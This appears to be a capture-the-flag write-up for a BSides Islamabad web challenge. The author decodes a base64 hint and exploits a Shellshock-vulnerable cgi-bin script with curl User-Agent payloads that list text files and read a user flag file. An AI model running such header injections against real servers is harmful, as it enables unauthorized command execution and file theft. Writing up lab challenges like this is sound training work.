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46 lines
1.4 KiB
Markdown
46 lines
1.4 KiB
Markdown
<img src="https://imgur.com/NS6QZ4p.png"/>
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Looking at the source code we find base64 encoded text
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```
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Like the way you think spidey Y2dpLWJpbi90ZXN0LnNo
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```
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On decoding
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<img src="https://imgur.com/XVHZYRf.png"/>
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I search on google about `cgi-bin` and found that they are mostly vulnerable to `shellshock` that allows execution of bash commands
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On refering to this blog post
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`https://wywyit.medium.com/ritsec-fall-2018-ctf-week-6-45d414035c76`
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I used
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```
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curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'find / -type "*.txt"'" http://challenges.ctfd.io:30328/cgi-bin/test.sh
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```
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And it gave me a bunch of files
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<img src="https://imgur.com/VxDcMQi.png"/>
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At the bottom I found
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```
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/usr/lib/python3.8/LICENSE.txt
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/tmp/bash-4.3/doc/article.txt
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/tmp/bash-4.3/doc/fdl.txt
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/tmp/bash-4.3/examples/INDEX.txt
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/home/admin/root.txt
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/home/herman/user.txt
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```
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```
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Bsides Islamabad# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /home/herman/user.txt'" http://challenges.ctfd.io:30328/cgi-bin/test.sh
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Bsides-PK-Fl4g{sinister_six}
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```
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And that was our flag !
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